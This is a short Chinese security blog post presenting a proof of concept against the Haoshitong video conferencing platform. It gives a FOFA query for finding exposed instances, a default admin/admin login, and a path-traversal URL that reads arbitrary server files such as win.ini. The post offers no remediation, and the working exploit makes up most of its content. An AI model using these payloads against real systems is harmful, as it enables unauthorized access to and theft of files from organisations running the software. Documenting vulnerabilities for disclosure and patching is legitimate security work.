Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持，有什么问题或者建议请及时联系：

点击这里给我发消息

好视通视频会议平台系统存在弱口令和任意文件下载漏洞

漏洞复现 Adminxe 4年前 (2021-04-17) 5137℃ 0评论

描述

系统存在弱口令和任意文件下载漏洞 fofa “深圳银澎云计算有限公司”

POC & EXP

# 弱口令
admin/admin

任意文件下载
/register/toDownload.do?fileName=敏感文件路径
（https://xxxxxx/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini）

转载请注明：Adminxe's Blog » 好视通视频会议平台系统存在弱口令和任意文件下载漏洞